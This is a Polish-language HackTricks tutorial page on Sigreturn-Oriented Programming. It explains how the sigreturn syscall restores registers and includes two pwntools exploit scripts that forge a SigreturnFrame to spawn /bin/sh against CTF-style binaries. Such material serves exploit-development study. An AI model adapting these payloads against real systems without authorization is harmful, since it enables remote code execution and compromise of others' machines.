SROP - Sigreturn-Oriented Programming

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Sigreturn to specjalne wywołanie systemowe (syscall), które głównie służy do posprzątania po zakończeniu działania obsługi sygnału. Sygnały to przerwania wysyłane do programu przez system operacyjny, często w celu wskazania, że wystąpiła jakaś wyjątkowa sytuacja. Gdy program otrzymuje sygnał, tymczasowo wstrzymuje swoją bieżącą pracę, aby obsłużyć sygnał za pomocą obsługi sygnału - specjalnej funkcji przeznaczonej do radzenia sobie z sygnałami.

Po zakończeniu obsługi sygnału program musi wznowić swój poprzedni stan, jakby nic się nie stało. W tym miejscu pojawia się sigreturn. Pomaga on programowi powrócić z obsługi sygnału i przywrócić stan programu poprzez wyczyszczenie ramki stosu (sekcji pamięci przechowującej wywołania funkcji i zmienne lokalne), która była używana przez obsługę sygnału.

Interesującą częścią jest sposób, w jaki sigreturn przywraca stan programu: robi to poprzez przechowywanie wszystkich wartości rejestrów CPU na stosie. Gdy sygnał nie jest już blokowany, sigreturn zdejmuje te wartości ze stosu, efektywnie resetując rejestry CPU do stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu.

Wywołując wywołanie systemowe sigreturn z łańcucha ROP i dodając wartości rejestrów, które chcielibyśmy, aby zostały załadowane na stosie, jest możliwe kontrolowanie wszystkich wartości rejestrów i w rezultacie wywołanie na przykład wywołania systemowego execve z /bin/sh.

Zauważ, że byłoby to rodzajem Ret2syscall, który ułatwia kontrolowanie parametrów do wywołania innych Ret2syscalls:

pageRet2syscall

Jeśli jesteś ciekawy, to jest struktura sigcontext przechowywana na stosie do późniejszego odzyskania wartości (diagram z tutaj):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Dla lepszego wyjaśnienia sprawdź również:

Przykład

Możesz znaleźć przykład tutaj, gdzie wywołanie signeturn jest konstruowane za pomocą ROP (umieszczając wartość 0xf w rxa), chociaż to jest ostateczny exploit stamtąd:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Sprawdź również exploit stąd, gdzie plik binarny już wywoływał sigreturn, więc nie jest konieczne budowanie tego za pomocą ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Inne Przykłady i Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated